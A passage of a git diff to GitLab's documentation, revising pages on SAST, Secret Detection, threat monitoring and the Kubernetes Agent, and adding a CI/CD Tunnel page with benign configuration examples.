You can always change the **Security policy project** by navigating to your project's
**Security & Compliance > Policies** and modifying the selected project.
+NOTE:
+Only project Owners have the [permissions](../../permissions.md#project-members-permissions)
+to select Security Policy Project.
+
## Roadmap
See the [Category Direction page](https://about.gitlab.com/direction/protect/container_network_security/)
diff --git a/doc/user/application_security/sast/img/sast_results_in_mr_v14_0.png b/doc/user/application_security/sast/img/sast_results_in_mr_v14_0.png
new file mode 100644
index 00000000000..17edc30fa0f
--- /dev/null
+++ b/doc/user/application_security/sast/img/sast_results_in_mr_v14_0.png
Binary files differ
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index e80807b31bf..c64df616925 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -15,13 +15,15 @@ The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.
explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your
organization.
-If you're using [GitLab CI/CD](../../../ci/README.md), you can analyze your source code for known
-vulnerabilities using Static Application Security Testing (SAST). GitLab checks the SAST report and
-compares the found vulnerabilities between the source and target branches.
+If you're using [GitLab CI/CD](../../../ci/index.md), you can use Static Application Security
+Testing (SAST) to check your source code for known vulnerabilities. When a pipeline completes,
+the results of the SAST analysis are processed and shown in the pipeline's Security tab. If the
+pipeline is associated with a merge request, the SAST analysis is compared with the results of
+the target branch's analysis (if available). The results of that comparison are shown in the merge
+request. **(ULTIMATE)** If the pipeline is running from the default branch, the results of the SAST
+analysis are available in the [security dashboards](../security_dashboard/index.md).
-Details of the vulnerabilities found are included in the merge request. **(ULTIMATE)**
-
-![SAST Widget](img/sast_v13_2.png)
+![SAST results shown in the MR widget](img/sast_results_in_mr_v14_0.png)
The results are sorted by the priority of the vulnerability:
@@ -160,7 +162,7 @@ To configure SAST for a project you can:
### Configure SAST manually
-For GitLab 11.9 and later, to enable SAST you must [include](../../../ci/yaml/README.md#includetemplate)
+For GitLab 11.9 and later, to enable SAST you must [include](../../../ci/yaml/index.md#includetemplate)
the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)
provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you
can copy and use the job as defined that template.
@@ -176,7 +178,7 @@ The included template creates SAST jobs in your CI/CD pipeline and scans
your project's source code for possible vulnerabilities.
The results are saved as a
-[SAST report artifact](../../../ci/yaml/README.md#artifactsreportssast)
+[SAST report artifact](../../../ci/yaml/index.md#artifactsreportssast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest SAST artifact available.
@@ -204,7 +206,7 @@ page:
The SAST settings can be changed through [CI/CD variables](#available-cicd-variables)
by using the
-[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
+[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
In the following example, we include the SAST template and at the same time we
set the `SAST_GOSEC_LEVEL` variable to `2`:
@@ -216,14 +218,14 @@ variables:
SAST_GOSEC_LEVEL: 2
```
-Because the template is [evaluated before](../../../ci/yaml/README.md#include)
+Because the template is [evaluated before](../../../ci/yaml/index.md#include)
the pipeline configuration, the last mention of the variable takes precedence.
### Overriding SAST jobs
WARNING:
-Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#only--except)
-is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
+Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/index.md#only--except)
+is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/index.md#rules) instead.
To override a job definition, (for example, change properties like `variables` or `dependencies`),
declare a job with the same name as the SAST job to override. Place this new job after the template
@@ -463,7 +465,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
#### Docker images
@@ -497,7 +499,7 @@ Some analyzers can be customized with CI/CD variables.
| `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. |
| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. |
| `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. |
-| `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. |
+| `COMPILE` | Gosec, SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced for `SpotBugs`](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) analyzer in GitLab 13.1 and [`Gosec`](https://gitlab.com/gitlab-org/gitlab/-/issues/330678) analyzer in GitLab 14.0. |
| `ANT_HOME` | SpotBugs | The `ANT_HOME` variable. |
| `ANT_PATH` | SpotBugs | Path to the `ant` executable. |
| `GRADLE_PATH` | SpotBugs | Path to the `gradle` executable. |
@@ -510,8 +512,8 @@ Some analyzers can be customized with CI/CD variables.
| `SBT_PATH` | SpotBugs | Path to the `sbt` executable. |
| `FAIL_NEVER` | SpotBugs | Set to `1` to ignore compilation failure. |
| `SAST_GOSEC_CONFIG` | Gosec | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/328301)** in GitLab 14.0 - use custom rulesets instead. Path to configuration for Gosec (optional). |
-| `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. |
-| `SAST_DISABLE_BABEL` | NodeJsScan | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64025)** in GitLab 13.5 |
+| `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. |
+| `SAST_DISABLE_BABEL` | NodeJsScan | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64025)** in GitLab 13.5 |
| `SAST_SEMGREP_METRICS` | Semgrep | Set to `"false"` to disable sending anonymized scan metrics to [r2c](https://r2c.dev/). Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330565) in GitLab 14.0. |
#### Custom CI/CD variables
@@ -519,7 +521,7 @@ Some analyzers can be customized with CI/CD variables.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab Ultimate 12.5.
In addition to the aforementioned SAST configuration CI/CD variables,
-all [custom variables](../../../ci/variables/README.md#custom-cicd-variables) are propagated
+all [custom variables](../../../ci/variables/index.md#custom-cicd-variables) are propagated
to the underlying SAST analyzer images if
[the SAST vendored template](#configuration) is used.
@@ -554,7 +556,7 @@ The SAST tool emits a JSON report file. For more information, see the
[schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/sast-report-format.json).
The JSON report file can be downloaded from the CI pipelines page, or the
-pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/yaml/README.md#artifactspaths) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md).
+pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/yaml/index.md#artifactspaths) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md).
Here's an example SAST report:
@@ -763,7 +765,7 @@ uses the `rules:exists` parameter. For performance reasons, a maximum number of
against the given glob pattern. If the number of matches exceeds the maximum, the `rules:exists`
parameter returns `true`. Depending on the number of files in your repository, a SAST job might be
triggered even if the scanner doesn't support your project. For more details about this issue, see
-the [`rules:exists` documentation](../../../ci/yaml/README.md#rulesexists).
+the [`rules:exists` documentation](../../../ci/yaml/index.md#rulesexists).
### SpotBugs UTF-8 unmappable character errors
@@ -789,7 +791,7 @@ For Maven builds, add the following to your `pom.xml` file:
### Flawfinder encoding error
-This occurs when Flawfinder encounters an invalid UTF-8 character. To fix this, convert all source code in your project to UTF-8 character encoding. This can be done with [`cvt2utf`](https://github.com/x1angli/cvt2utf) or [`iconv`](https://www.gnu.org/software/libiconv/documentation/libiconv-1.13/iconv.1.html) either over the entire project or per job using the [`before_script`](../../../ci/yaml/README.md#before_script) feature.
+This occurs when Flawfinder encounters an invalid UTF-8 character. To fix this, convert all source code in your project to UTF-8 character encoding. This can be done with [`cvt2utf`](https://github.com/x1angli/cvt2utf) or [`iconv`](https://www.gnu.org/software/libiconv/documentation/libiconv-1.13/iconv.1.html) either over the entire project or per job using the [`before_script`](../../../ci/yaml/index.md#before_script) feature.
### Semgrep slowness, unexpected results, or other errors
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index f4aa9dc2787..938bd3b41d5 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -133,24 +133,14 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s
your project's source code for secrets.
The results are saved as a
-[Secret Detection report artifact](../../../ci/yaml/README.md#artifactsreportssecret_detection)
+[Secret Detection report artifact](../../../ci/yaml/index.md#artifactsreportssecret_detection)
that you can later download and analyze. Due to implementation limitations, we
always take the latest Secret Detection artifact available.
### Enable Secret Detection via an automatic merge request **(ULTIMATE SELF)**
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4496) in GitLab 13.11.
-> - [Deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
-> - Enabled on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-configure-secret-detection-via-a-merge-request). **(ULTIMATE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
-There can be
-[risks when disabling released features](../../../user/feature_flags.md#risks-when-disabling-released-features).
-Refer to this feature's version history for more details.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4496) in GitLab 13.11, behind a feature flag, enabled by default.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/329886) in GitLab 14.1.
To enable Secret Detection in a project, you can create a merge request
from the Security Configuration page.
@@ -166,15 +156,15 @@ that you can review and merge to complete the configuration.
The Secret Detection scan settings can be changed through [CI/CD variables](#available-cicd-variables)
by using the
-[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
+[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
To override a job definition, (for example, change properties like `variables` or `dependencies`),
declare a job with the same name as the SAST job to override. Place this new job after the template
inclusion and specify any additional keys under it.
WARNING:
-Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#only--except)
-is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
+Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/index.md#only--except)
+is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/index.md#rules) instead.
#### GIT_DEPTH
@@ -197,7 +187,7 @@ secret_detection:
SECRET_DETECTION_HISTORIC_SCAN: "true"
```
-Because the template is [evaluated before](../../../ci/yaml/README.md#include)
+Because the template is [evaluated before](../../../ci/yaml/index.md#include)
the pipeline configuration, the last mention of the variable takes precedence.
#### Available CI/CD variables
@@ -285,7 +275,7 @@ Post-processing is currently limited to a project's default branch, see the abov
sequenceDiagram
autonumber
Rails->>+Sidekiq: gl-secret-detection-report.json
- Sidekiq-->+Sidekiq: BuildFinishedWorker
+ Sidekiq-->+Sidekiq: Ci::BuildFinishedWorker
Sidekiq-->+RevocationAPI: GET revocable keys types
RevocationAPI-->>-Sidekiq: OK
Sidekiq->>+RevocationAPI: POST revoke revocable keys
@@ -360,6 +350,21 @@ Support for custom certificate authorities was introduced in the following versi
| -------- | ------- |
| secrets | [v3.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/releases/v3.0.0) |
+To trust a custom Certificate Authority, set the `ADDITIONAL_CA_CERT_BUNDLE` variable to the bundle
+of CA certs that you want to trust in the SAST environment. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
+
+```yaml
+variables:
+ ADDITIONAL_CA_CERT_BUNDLE: |
+ -----BEGIN CERTIFICATE-----
+ MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB
+ ...
+ jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs=
+ -----END CERTIFICATE-----
+```
+
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+
### Set Secret Detection CI/CD variables to use local Secret Detection analyzer
Add the following configuration to your `.gitlab-ci.yml` file. You must replace
@@ -385,7 +390,7 @@ For information on this, see the [general Application Security troubleshooting s
### Error: `Couldn't run the gitleaks command: exit status 2`
If a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` variable
-is set to 50 (a [project default](../../../ci/pipelines/settings.md#git-shallow-clone)),
+is set to 50 (a [project default](../../../ci/pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone)),
the Secret Detection job fails as the clone is not deep enough to contain all of the
relevant commits.
@@ -409,22 +414,3 @@ secret_detection:
variables:
GIT_DEPTH: 100
```
-
-### Enable or disable Configure Secret Detection via a Merge Request
-
-Configure Secret Detection via a Merge Request is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:sec_secret_detection_ui_enable)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:sec_secret_detection_ui_enable)
-```
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index 01de066367c..806bc03e30e 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -33,13 +33,14 @@ The security dashboard and vulnerability report displays information about vulne
- [Dynamic Application Security Testing](../dast/index.md)
- [Dependency Scanning](../dependency_scanning/index.md)
- [Static Application Security Testing](../sast/index.md)
+- [Cluster Image Scanning](../cluster_image_scanning/index.md)
- And [others](../index.md#security-scanning-tools)!
## Prerequisites
1. At least one project inside a group must be configured with at least one of
the [supported reports](#supported-reports).
-1. The configured jobs must use the [new `reports` syntax](../../../ci/yaml/README.md#artifactsreports).
+1. The configured jobs must use the [new `reports` syntax](../../../ci/yaml/index.md#artifactsreports).
1. [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or newer must be used.
If you're using the shared runners on GitLab.com, this is already the case.
@@ -76,7 +77,7 @@ CSV file containing details of the resources scanned.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285477) in GitLab 13.11, date range slider to visualize data between given dates.
A project's Security Dashboard displays a chart with the total number of vulnerabilities
-over time. It updates daily with up to 365 days of historical data. By default,
+over time with up to 365 days of historical data. Data is refreshed daily at 1:15am UTC. By default,
it shows statistics for all vulnerability severities.
To access the dashboard, from your project's home page go to **Security & Compliance > Security Dashboard**.
diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md
index ce30accfb4d..c96497e9233 100644
--- a/doc/user/application_security/terminology/index.md
+++ b/doc/user/application_security/terminology/index.md
@@ -118,6 +118,7 @@ The type of scan. This must be one of the following:
- `dependency_scanning`
- `dast`
- `sast`
+- `cluster_image_scanning`
### Scanner
diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md
index e1200c60419..8cecb9c5929 100644
--- a/doc/user/application_security/threat_monitoring/index.md
+++ b/doc/user/application_security/threat_monitoring/index.md
@@ -27,20 +27,19 @@ your application's Kubernetes namespace. This section has the following
prerequisites:
- Your project contains at least one [environment](../../../ci/environments/index.md)
-- You've [installed Cilium](../../clusters/applications.md#install-cilium-using-gitlab-cicd)
+- You've [installed Cilium](../../project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium)
- You've configured the [Prometheus service](../../project/integrations/prometheus.md#enabling-prometheus-integration)
If you're using custom Helm values for Cilium, you must enable Hubble
with flow metrics for each namespace by adding the following lines to
-your [Cilium values](../../clusters/applications.md#install-cilium-using-gitlab-cicd):
+your [Cilium values](../../project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium):
```yaml
-global:
- hubble:
- enabled: true
- metrics:
- enabled:
- - 'flow:sourceContext=namespace;destinationContext=namespace'
+hubble:
+ enabled: true
+ metrics:
+ enabled:
+ - 'flow:sourceContext=namespace;destinationContext=namespace'
```
The **Container Network Policy** section displays the following information
@@ -54,7 +53,11 @@ about your packet flow:
If a significant percentage of packets is dropped, you should
investigate it for potential threats by
-[examining the Cilium logs](../../clusters/applications.md#install-cilium-using-gitlab-cicd).
+examining the Cilium logs:
+
+```shell
+kubectl -n gitlab-managed-apps logs -l k8s-app=cilium -c cilium-monitor
+```
## Container Network Policy management
@@ -67,7 +70,7 @@ status, and create and edit deployed policies. This section has the
following prerequisites:
- Your project contains at least one [environment](../../../ci/environments/index.md)
-- You've [installed Cilium](../../clusters/applications.md#install-cilium-using-gitlab-cicd)
+- You've [installed Cilium](../../project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium)
Network policies are fetched directly from the selected environment's
deployment platform. Changes performed outside of this tab are
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index 9866709bacc..6437f2325e8 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -164,7 +164,7 @@ The following vulnerability scanners and their databases are regularly updated:
|:----------------------------------------------------------------|----------------------------------|
| [Container Scanning](../container_scanning/index.md) | A job runs on a daily basis to build new images with the latest vulnerability database updates from the upstream scanner. |
| [Dependency Scanning](../dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for npm packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). |
-| [Dynamic Application Security Testing (DAST)](../dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. |
+| [Dynamic Application Security Testing (DAST)](../dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/main/Dockerfile#L1). The scanning rules are downloaded at scan runtime. |
| [Static Application Security Testing (SAST)](../sast/index.md) | Relies exclusively on [the tools GitLab wraps](../sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. |
You do not have to update GitLab to benefit from the latest vulnerabilities definitions.
diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md
index 07025d193af..da59c0fbe79 100644
--- a/doc/user/application_security/vulnerability_report/index.md
+++ b/doc/user/application_security/vulnerability_report/index.md
@@ -128,11 +128,11 @@ To view the relevant file, select the filename in the vulnerability's details.
## View issues raised for a vulnerability
The **Activity** column indicates the number of issues that have been created for the vulnerability.
-Hover over an **Activity** entry and select a link go to that issue. The status of whether the issue is open or closed also displays in the hover menu.
+Hover over an **Activity** entry and select a link go to that issue. The status of whether the issue is open or closed also displays in the hover menu.
![Display attached issues](img/vulnerability_list_table_v13_9.png)
-If Jira issue support is enabled, the issue link found in the Activity entry links out to the issue in Jira. Unlike GitLab issues, the status of whether a Jira issue is Open or Closed does not display in the GitLab UI.
+If Jira issue support is enabled, the issue link found in the Activity entry links out to the issue in Jira. Unlike GitLab issues, the status of whether a Jira issue is Open or Closed does not display in the GitLab UI.
## Change status of vulnerabilities
diff --git a/doc/user/clusters/agent/ci_cd_tunnel.md b/doc/user/clusters/agent/ci_cd_tunnel.md
new file mode 100644
index 00000000000..1f794bac37f
--- /dev/null
+++ b/doc/user/clusters/agent/ci_cd_tunnel.md
@@ -0,0 +1,67 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# CI/CD Tunnel
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327409) in GitLab 14.1.
+
+The CI/CD Tunnel enables users to access Kubernetes clusters from GitLab CI/CD jobs even if there is no network
+connectivity between GitLab Runner and a cluster. GitLab Runner does not have to be running in the same cluster.
+
+Only CI/CD jobs set in the configuration project can access one of the configured agents.
+
+Prerequisites:
+
+- A running [`kas` instance](index.md#set-up-the-kubernetes-agent-server).
+- A [configuration repository](index.md#define-a-configuration-repository) with an Agent config file
+ installed (`.gitlab/agents/<agent-name>/config.yaml`).
+- An [Agent record](index.md#create-an-agent-record-in-gitlab).
+- The agent is [installed in the cluster](index.md#install-the-agent-into-the-cluster).
+
+To access your cluster from a CI/CD job through the tunnel:
+
+1. In your `.gitlab-ci.yml` add a section that creates a `kubectl` compatible configuration file (`kubecontext`) and use it in one
+ or more jobs:
+
+ ```yaml
+ variables:
+ AGENT_ID: 4 # agent id that you got when you created the agent record
+ KUBE_CFG_FILE: "$CI_PROJECT_DIR/.kubeconfig.agent.yaml"
+
+ .kubectl_config: &kubectl_config
+ - |
+ cat << EOF > "$KUBE_CFG_FILE"
+ apiVersion: v1
+ kind: Config
+ clusters:
+ - name: agent
+ cluster:
+ server: https://kas.gitlab.com/k8s-proxy/
+ users:
+ - name: agent
+ user:
+ token: "ci:$AGENT_ID:$CI_JOB_TOKEN"
+ contexts:
+ - name: agent
+ context:
+ cluster: agent
+ user: agent
+ current-context: agent
+ EOF
+
+ deploy:
+ image:
+ name: bitnami/kubectl:latest
+ entrypoint: [""]
+ script:
+ - *kubectl_config
+ - kubectl --kubeconfig="$KUBE_CFG_FILE" get pods
+ ```
+
+1. Execute `kubectl` commands directly against your cluster with this CI/CD job you just created.
+
+We are working on [creating the configuration file automatically](https://gitlab.com/gitlab-org/gitlab/-/issues/324275)
+to simplify the process.
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
index 414ed8377db..83933524fd4 100644
--- a/doc/user/clusters/agent/index.md
+++ b/doc/user/clusters/agent/index.md
@@ -7,7 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab Kubernetes Agent **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
-> - [In GitLab 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/300960), KAS became available on GitLab.com under `wss://kas.gitlab.com` through an Early Adopter Program.
+> - [Introduced](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/7) in GitLab 13.6, `grpcs` is supported.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300960) in GitLab 13.10, KAS became available on GitLab.com under `wss://kas.gitlab.com` through an Early Adopter Program.
> - Introduced in GitLab 13.11, the GitLab Kubernetes Agent became available to every project on GitLab.com.
The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent)
@@ -16,13 +17,14 @@ tasks in a secure and cloud-native way. It enables:
- Integrating GitLab with a Kubernetes cluster behind a firewall or NAT
(network address translation).
-- Pull-based GitOps deployments by leveraging the
- [GitOps Engine](https://github.com/argoproj/gitops-engine).
+- Pull-based GitOps deployments.
+- [Inventory object](../../infrastructure/clusters/deploy/inventory_object.md) to keep track of objects applied to your cluster.
- Real-time access to API endpoints in a cluster.
- Alert generation based on [Container network policy](../../application_security/threat_monitoring/index.md#container-network-policy).
+- [CI/CD Tunnel](ci_cd_tunnel.md) that enables users to access Kubernetes clusters from GitLab CI/CD jobs even if there is no network connectivity between GitLab Runner and a cluster.
Many more features are planned. Please review [our roadmap](https://gitlab.com/groups/gitlab-org/-/epics/3329)
-and [our development documentation](../../../development/agent/index.md).
+and [our development documentation](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/tree/master/doc).
## GitLab Agent GitOps workflow
@@ -37,7 +39,9 @@ sequenceDiagram
participant M as Manifest repository
participant K as Kubernetes Agent
participant C as Agent configuration repository
- K->C: Grab the configuration
+ loop Regularly
+ K-->>C: Grab the configuration
+ end
D->>+A: Pushing code changes
A->>M: Updating manifest
loop Regularly
@@ -246,12 +250,11 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways
- Specify the `grpc` scheme if both Agent and Server are installed in one cluster.
In this case, you may specify `kas-address` value as
`grpc://gitlab-kas.<your-namespace>:8150`) to use gRPC directly, where `gitlab-kas`
- is the name of the service created by `gitlab-kas` chart, and `your-namespace`
- is the namespace where the chart was installed. Encrypted gRPC is not supported yet.
- Follow the
- [Support TLS for gRPC communication issue](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/7)
- for progress updates.
- - When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the `kas-address` for `wss` and `ws` schemes to whatever you need.
+ is the name of the service created by `gitlab-kas` chart, and `<your-namespace>`
+ is the namespace where the chart was installed.
+ - Specify the `grpcs` scheme to use an encrypted gRPC connection.
+ - When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the
+ `kas-address` for `wss` and `ws` schemes to whatever you need.
Check the [chart's KAS Ingress documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/#ingress)
to learn more about it.
- In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent/` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details.
@@ -447,42 +450,21 @@ There are several components that work in concert for the Agent to generate the
- A working Kubernetes cluster.
- Cilium integration through either of these options:
- - Installation through [GitLab Managed Apps](../applications.md#install-cilium-using-gitlab-cicd).
+ - Installation through [cluster management template](../../project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium).
- Enablement of [hubble-relay](https://docs.cilium.io/en/v1.8/concepts/overview/#hubble) on an
existing installation.
- One or more network policies through any of these options:
- Use the [Container Network Policy editor](../../application_security/threat_monitoring/index.md#container-network-policy-editor) to create and manage policies.
- Use an [AutoDevOps](../../application_security/threat_monitoring/index.md#container-network-policy-management) configuration.
- Add the required labels and annotations to existing network policies.
-- Use a configuration repository to inform the Agent through a `config.yaml` file, which
- repositories can synchronize with. This repository might be the same, or a separate GitLab
- project.
+- A configuration repository with [Cilium configured in `config.yaml`](repository.md#surface-network-security-alerts-from-cluster-to-gitlab)
The setup process follows the same steps as [GitOps](#get-started-with-gitops-and-the-gitlab-agent),
with the following differences:
-- When you define a configuration repository, you must do so with [Cilium settings](#define-a-configuration-repository-with-cilium-settings).
+- When you define a configuration repository, you must do so with [Cilium settings](repository.md#surface-network-security-alerts-from-cluster-to-gitlab).
- You do not need to specify the `gitops` configuration section.
-### Define a configuration repository with Cilium settings
-
-You need a GitLab repository to contain your Agent configuration. The minimal repository layout
-looks like this:
-
-```plaintext
-.gitlab/agents/<agent-name>/config.yaml
-```
-
-Your `config.yaml` file must specify the `host` and `port` of your Hubble Relay service. If your
-Cilium integration was performed through [GitLab Managed Apps](../applications.md#install-cilium-using-gitlab-cicd),
-you can use `hubble-relay.gitlab-managed-apps.svc.cluster.local:80`:
-
-```yaml
-cilium:
- hubble_relay_address: "<hubble-relay-host>:<hubble-relay-port>"
- ...
-```
-
## Management interfaces
Users with at least the [Developer](../../permissions.md) can access the user interface
@@ -516,9 +498,17 @@ This error is shown if there are some connectivity issues between the address
specified as `kas-address`, and your Agent pod. To fix it, make sure that you
specified the `kas-address` correctly.
+```json
+{"level":"error","time":"2021-06-25T21:15:45.335Z","msg":"Reverse tunnel","mod_name":"reverse_tunnel","error":"Connect(): rpc error: code = Unavailable desc = connection error: desc= \"transport: Error while dialing failed to WebSocket dial: expected handshake response status code 101 but got 301\""}
+```
+
+This error occurs if the `kas-address` doesn't include a trailing slash. To fix it, make sure that the
+`wss` or `ws` URL ends with a training slash, such as `wss://GitLab.host.tld:443/-/kubernetes-agent/`
+or `ws://GitLab.host.tld:80/-/kubernetes-agent/`.
+
### Agent logs - ValidationError(Deployment.metadata)
-```plaintext
+```json
